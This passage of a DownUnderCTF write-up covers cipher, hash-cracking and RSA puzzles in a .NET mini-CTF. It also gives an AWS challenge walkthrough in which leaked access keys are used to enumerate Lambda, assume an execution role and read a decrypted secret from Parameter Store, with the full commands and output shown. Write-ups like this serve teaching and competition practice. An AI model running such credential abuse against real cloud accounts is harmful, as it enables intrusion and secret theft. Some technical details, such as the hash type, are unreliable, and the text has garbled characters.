H4sIAAAAAAAAA+3OMQrCQBSE4dSeIieQt3m78QCKlYVorBdZjYVgkeyCQby7iyCIfdTi/5qBaWbOx6GfxmssRiRZbe0zs88UcVoYJ6q1VlJp7mc2V6WMeeol9XHfleU3pv7RYjdvljfjT0md84MkH+zFHzRshnXjm9XWx862rQn3ya+vAgAAAAAAAAAAAAAAAADePAC9uw8vACgAAA==
Step 6: Extract and decompress the flag Decode the base64 and save as a gzipped tar file:
1
2
3
4
5
6
7
import base64
base64_data = "H4sIAAAAAAAAA+3OMQrCQBSE4dSeIieQt3m78QCKlYVorBdZjYVgkeyCQby7iyCIfdTi/5qBaWbOx6GfxmssRiRZbe0zs88UcVoYJ6q1VlJp7mc2V6WMeeol9XHfleU3pv7RYjdvljfjT0md84MkH+zFHzRshnXjm9XWx862rQn3ya+vAgAAAAAAAAAAAAAAAADePAC9uw8vACgAAA=="
file_bytes = base64.b64decode(base64_data)
with open("keys_backup.tar.gz", "wb") as f:
f.write(file_bytes)
Finally, extract the archive:
1
tar -xzf keys_backup.tar.gz
This extracts a keys.txt file. Reading the file contents:
1
cat keys.txt
Reveals our flag.
Flag: DUCTF{1_gu355_y0u_c4n_d3cRyPT_TLS_tr4ff1c}
Challenge 2: YoDawg
Solves: 141
Category: Misc
Description
We found this file on a USB drive, it seems to be some sort of gamified cyber skilled based learning system thingy? Maybe if all of the challenges are sold we will get some answers, or maybe it is just the friends we make along the way. Note - This may produce false positives with your virus scanner.
Files provided: yo-dawg.zip
Solution
This challenge presents a โCTF within a CTFโ - a .NET executable containing multiple mini-challenges that must be solved to unlock the final flag.
File Contents:
1
2
3
4
โโโ Yo Dawg.deps.json
โโโ Yo Dawg.dll
โโโ Yo Dawg.exe
โโโ Yo Dawg.runtimeconfig.json
Upon running the executable, weโre presented with a challenge board containing multiple cryptographic puzzles:
Sub-Challenge 1: Salads (200 points)
Description: โIโm always thinking about food, this isnโt helpingโฆ I got passed this note when I was working at the cafe, what kind of salad is this?! Can you decrypt?: putkw{jltyzjczwv}โ
Solution: This is a Caesar cipher (ROT13 variant) with a shift of 9.
- Decrypting:
putkw{jltyzjczwv}โydctf{suchislife}
Sub-Challenge 2: Passwords (200 points)
Description: โAnother breach, another password reset. I wonder what password they grabbed? 5E320E0CCC5EE5291FAE1E60A1CD72EB1F6FA4AE26EA180F86CE694832DC4E72DCCFDBF3EABBE12FD86F1D51806F15F3294C5F7038BF21DA6AA75D1F09DF07C2โ
Solution: This is an SHA-256 hash that can be cracked using rainbow tables (CrackStation):
- Hash:
5E320E0CCC5EE5291FAE1E60A1CD72EB1F6FA4AE26EA180F86CE694832DC4E72DCCFDBF3EABBE12FD86F1D51806F15F3294C5F7038BF21DA6AA75D1F09DF07C2 - Plaintext:
ihatehackers - Flag:
ydctf{ihatehackers}
Sub-Challenge 3: Rotten (200 points)
Description: โStudy Cyber they said. Get to hack stuff they said. Then why am I needing to decode ciphers? HOW IS THIS HELPING? I mean, can you solve the following? J54E7L5@0J@F0ECFDE0>J04@56nNโ
Solution: This is ROT47 encoding:
- Decrypting:
J54E7L5@0J@F0ECFDE0>J04@56nNโydctf{do_you_trust_my_code?}
Sub-Challenge 4: Welcome (50 points)
Description: โHeard you like CTFs, so hereโs another CTF in the DUCTF! The flag format for this CTF is ydctf{some_text}. Good luck! โฆoh, your first flag? Here it is!โ
Solution: The flag is directly provided: ydctf{s0mething_1s_wr0ng}
Sub-Challenge 5: Hidden (200 points)
Description: โThereโs a flag somewhere hidden hereโฆ I wonder where it is? Time to channel Inspector Morse!โ
Solution: By resizing the application window, Morse code becomes visible at the bottom:
- Morse code:
-.-- -.. -.-. - ..-. .... .. -.. -.. . -. ..-. .-.. .- --. -. --- - ... --- .... .. -.. -.. . -. - Decoded:
YDCTF HIDDENFLAGNOTSOHIDDEN - Flag:
ydctf{hiddenflagnotsohidden}
After completing these challenges, an โangry koalaโ jump scare appears. (i got scared for a sec ngl)
Sub-Challenge 6: Deeper (200 points)
Description: โI wonder if youโre connected to the Internetโฆ Can you solve the easiest RSA ever? Go get it :) http://pastebin.com/tK8PFRhAโ
Solution: The pastebin contains RSA parameters:
1
2
3
4
5
n = 134995596339263906364650042879218690804636051969803060327341006918906219701871373267641203454219249589885364856414727976145795558649019334400706818997156295194002540549348224335820431341746858682831145870760296688552893053945533239982236058292620771496924967301973679586874984087016314758930354348923476779669
e = 65537
c = 69942350419946767506345128529425495489283491089474687791937626592410531523906950815924944348938594154233834152367027685926503406302513787705918832376135541106323504321024539733768444780639669173742768253534729267483408610794975624076605589114620168690234573082137589585730517788273985226086330327586276612491
p = 12347237270477958961788304962214070527659642053458163016362914018933001634467295346381421813235616243811654194550990042394688050113879996006954916978208993
q = 10933263318915572696351286556191402769398472611952670383866334702901100179649513873715034012424560855818813105922996981430536446597319054410065510024545333
With p and q provided, we can easily decrypt:
- Flag:
ydctf{rsa_erry_day}
Sub-Challenge 7: Even Deeper (200 points)
Description: โTell me your username. The flag format for this CTF is ydctf{yourusername}โ
Solution: The application detects and uses the system username.
- Flag:
ydctf{[your_system_username]}
Sub-Challenge 8: Truth from Vaas (200 points)
Description: โDid I ever tell you the definition of insanity? Who was the voice actor who played Vaas Montenegro?โ
Solution: This references the Far Cry 3 villain Vaas Montenegro.
- Voice actor: Michael Mando
- Flag:
ydctf{michael_mando}
Final Challenge: Inception (200 points) - Hackers CTF 1995
After completing all sub-challenges, the final โInceptionโ challenge unlocks with three questions:
Question 1: โCan you DES? CMpZlgYbgEc6eTSNUPXvww== with key โhack\0\0\0\0โโ
1
2
3
4
5
6
7
8
9
10
11
from Crypto.Cipher import DES
import base64
key = b'hack\x00\x00\x00\x00' # 8 bytes
iv = b'\x00' * 8 # 8 bytes IV (all zeros)
ciphertext = base64.b64decode('CMpZlgYbgEc6eTSNUPXvww==')
des = DES.new(key, DES.MODE_CBC, iv)
plaintext = des.decrypt(ciphertext)
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
print("Decrypted text:", plaintext.decode('utf-8'))
Answer: flag{des4eva}
Question 2: โWhat is the best line in the Hackers movie (three words)?โ Answer: Hack the planet!
Question 3: โdefcon 3 quiz: Which Casino is hosting (one word)?โ Answer: Tropicana
Final Decryption: After answering correctly, we get: โUSE THE SAME PROCESS AS QUESTION 1 WITH THE SAME KEY: UDR6b0hwIOkbJ90U/dYB3iSF5iQ50Ci1b+T+YCQPJA3pl9IFtyJFrCWfB1szPlKy5EdvDb029rZ7w2gUAcSJiQ==โ
Using the same DES decryption process:
Flag: DUCTF{1995_to_2025}
Challenge 3: Mary had a little lambda
Solves: 130
Category: Misc / Cloud
Description
The Ministry of Australian Research into Yaks (MARY) is the leading authority of yak related research in Australia. They know a lot about long-haired domesticated cattle, but unfortunately not a lot about information security.
They have been migrating their yak catalog application to a serverless, lambda based, architecture in AWS, but in the process have accidentally exposed an access key used by their admins. Youโve gotten a hold of this key, now use this access to uncover MARYโs secrets!
Solution
The challenge involved exploiting exposed AWS credentials to access a Lambda function and retrieve sensitive information from AWS Systems Manager Parameter Store.
Step 1: Configure AWS Profile
First, I configured the AWS CLI with the provided credentials:
1
aws configure --profile mary
Using the credentials:
- AWS Access Key ID:
AKIAXC42U7VJ2XOBQKGI - AWS Secret Access Key:
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 - Default region:
us-east-1
Step 2: Reconnaissance
First, I verified the identity of the compromised credentials to understand what permissions I had:
1
aws sts get-caller-identity --profile mary
Response:
1
2
3
4
5
{
"UserId": "AIDAXC42U7VJSYNSAD4EV",
"Account": "487266254163",
"Arn": "arn:aws:iam::487266254163:user/devopsadmin"
}
This confirmed I was authenticated as the devopsadmin user in AWS account 487266254163. The next step was to enumerate what AWS resources I could access with these credentials.
I started by listing Lambda functions since the challenge description mentioned a serverless, lambda-based architecture:
1
aws lambda list-functions --profile mary
Response:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
{
"Functions": [
{
"FunctionName": "yakbase",
"FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
"Runtime": "python3.13",
"Role": "arn:aws:iam::487266254163:role/lambda_role",
"Handler": "yakbase.lambda_handler",
"CodeSize": 623,
"Description": "",
"Timeout": 30,
"MemorySize": 128,
"LastModified": "2025-07-14T12:42:45.148+0000",
"CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
"Layers": [
{
"Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
"CodeSize": 689581
}
],
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/yakbase"
}
}
]
}
Perfect! I found a Lambda function named yakbase that appeared to be related to the yak catalog application mentioned in the challenge. Key details from this response:
- Function name:
yakbase - Execution role:
arn:aws:iam::487266254163:role/lambda_role(this would be important later) - Small code size (623 bytes) suggesting a simple function
- Uses a layer (
main-layer:1) which likely contains dependencies
To get more details and access the source code, I retrieved the full function information:
1
aws lambda get-function --function-name yakbase --profile mary
Response:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
{
"Configuration": {
"FunctionName": "yakbase",
"FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
"Runtime": "python3.13",
"Role": "arn:aws:iam::487266254163:role/lambda_role",
"Handler": "yakbase.lambda_handler",
"CodeSize": 623,
"Description": "",
"Timeout": 30,
"MemorySize": 128,
"LastModified": "2025-07-14T12:42:45.148+0000",
"CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
"Layers": [
{
"Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
"CodeSize": 689581
}
],
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:83a0b29e480e14176225231a6e561282aa7732a24063ebab771b15e4c1a2c71c"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/yakbase"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/487266254163/yakbase-f70d7c3a-5267-425f-8ed2-4c7a9497db04?versionId=AWtrEWcqRUhNouC7YHffyafILNKu2lrj&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQDrR3JeUNzELURw8dHrgfXpLewUdC25IcpQeYvmaZeQuwIhAK%2F%2FxCty6x6UXlpUgZLWp4%2FrcQuu9Hgsabcr2dQLvsHaKpICCL7%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNzQ5Njc4OTAyODM5Igxy3J9GLQYJ5cL2E%2Fsq5gF02hVDVYiUwPzstakq0HBaQcYV6PLEAXVc4YY%2BbsBel8cqRX6tBrwk3rpI1LMLHu3rxJR8d%2Ff5MvUtapWjyRneWucEDTNFX%2FuC0GK3HXXioUrJJspXNiCEqH0thG2fD9IydA1V7e93swm0sgUpP3lXkmmHnyEO3ooTg7tOBOjY5MwNjXXQEOTvDk6b0w2rk3J1wbRVONN2%2B5j3BP%2Fa4S9q%2Fg5A7Y18T%2FfL5dA96dGFliEajZX8a4%2B1deuJLg5pDycN6NenqfmcMfAIW2kND6WiMxDOADALL9lRRUolMGU9%2FeB6w6okWzDkxPPDBjqOAYkGJ4W7ga00vcP4C2JojaY%2FrMubvslBORoYQtvmhIHD4H6DJJ%2FojO6o%2FPcSMDA7XHf1VnGq2OTihXTUMrMTYkdS8VKEvH9A3m7zvyl0R7ernODpHe2hkiegYMLy%2BBmBeyCPdX9WZP%2Bn4wcdGFX2I9TQa4hAlT3Yn2F1yGJMhnVAYAv0cYtlZNTPMJ7X6zY%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250720T211710Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY35GMWNLBI%2F20250720%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=388ac43c28744f4f10a09400c9929438f6fa00b6f0b4899858f5da9f819abb91"
},
"Tags": {
"Challenge": "Mary had a little lambda"
}
}
Excellent! This response provided crucial information:
- Code Location: The
Code.Locationfield contained a pre-signed S3 URL where I could download the Lambda functionโs source code - Challenge Confirmation: The
Tagsfield confirmed this was indeed part of the โMary had a little lambdaโ challenge - Execution Role: The function runs under
arn:aws:iam::487266254163:role/lambda_role- this role would have specific permissions that might be exploitable
Step 3: Download and Analyze Lambda Code
Using the S3 URL from the previous response, I downloaded the Lambda function code. The ZIP file contained a Python file with the following source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
import json
import logging
import boto3
import mysql.connector
logger = logging.getLogger()
logger.setLevel(logging.INFO)
def lambda_handler(event, context):
session = boto3.Session()
ssm = session.client('ssm')
dbpass = ssm.get_parameter(Name="/production/database/password", WithDecryption=True)['Parameter']['Value']
mydb = mysql.connector.connect(
host="10.10.1.1",
user="dbuser",
password=dbpass,
database="BovineDb"
)
cursor = mydb.cursor()
cursor.execute("SELECT * FROM bovines")
results = cursor.fetchall()
# For testing without the DB!
#results = [(1, 'Yak', 'Hairy', False),(2, 'Bison', 'Large', True)]
numresults = len(results)
response = f"Database contains {numresults} bovines."
logger.info(response)
return {
'statusCode' : 200,
'body': response
}
Critical Discovery: The code revealed that the Lambda function retrieves a database password from AWS Systems Manager Parameter Store at the path /production/database/password using the ssm.get_parameter() call with WithDecryption=True. This was the key insight - the flag was likely stored in this SSM parameter!
However, there was a problem: my current devopsadmin credentials didnโt have permission to access SSM parameters directly. I needed to assume the Lambdaโs execution role to gain the same permissions the function uses.
Step 4: Assume Lambda Role
The Lambda function runs under the lambda_role IAM role, which has the necessary permissions to read from SSM Parameter Store. I used AWS STS (Security Token Service) to assume this role:
1
2
3
4
aws sts assume-role \
--role-arn arn:aws:iam::487266254163:role/lambda_role \
--role-session-name temp-session \
--profile mary > creds.json
This command successfully assumed the Lambdaโs role and saved the temporary credentials to creds.json. The fact that this worked indicated that the devopsadmin user had sts:AssumeRole permissions for the Lambda role - a common but potentially dangerous permission configuration.
Step 5: Configure Temporary Credentials
I extracted the temporary credentials from the JSON response and configured them as environment variables to use with the AWS CLI:
1
2
3
4
export AWS_ACCESS_KEY_ID=$(jq -r '.Credentials.AccessKeyId' creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r '.Credentials.SecretAccessKey' creds.json)
export AWS_SESSION_TOKEN=$(jq -r '.Credentials.SessionToken' creds.json)
export AWS_DEFAULT_REGION=us-east-1
Now I was operating with the same permissions as the Lambda function itself.
Step 6: Retrieve the Flag
With the Lambda role credentials, I could now access the Systems Manager Parameter Store and retrieve the database password that the Lambda function uses:
1
aws ssm get-parameter --name "/production/database/password" --with-decryption
Response:
1
2
3
4
5
6
7
8
9
10
11
{
"Parameter": {
"Name": "/production/database/password",
"Type": "SecureString",
"Value": "DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}",
"Version": 1,
"LastModifiedDate": "2025-07-14T08:42:32.390000-04:00",
"ARN": "arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password",
"DataType": "text"
}
}
Success! The response revealed that the โdatabase passwordโ was actually the challenge flag. The parameter was stored as a SecureString type (encrypted) and contained the flag: DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}.
The flag name is a clever reference to Bos mutus (wild yak), which is native to the Tibetan Plateau - perfectly fitting the Ministry of Australian Research into Yaks (MARY) theme.
Flag: DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}
Conclusion
DownUnderCTF 6 provided excellent challenges across all categories, offering great learning opportunities from basic web exploitation to advanced AI and reverse engineering problems. The competition highlighted the importance of having a diverse toolkit and adapting quickly to different challenge types.
Special thanks to the DownUnderCTF organizers for putting together such a well-crafted competition!
Stay tuned for more CTF writeups and happy hacking! ๐
Disclaimer: This writeup is for educational purposes only. Always ensure you have proper authorization before testing on any systems. All techniques described should only be used in legal, ethical contexts such as authorized penetration testing or CTF competitions.




































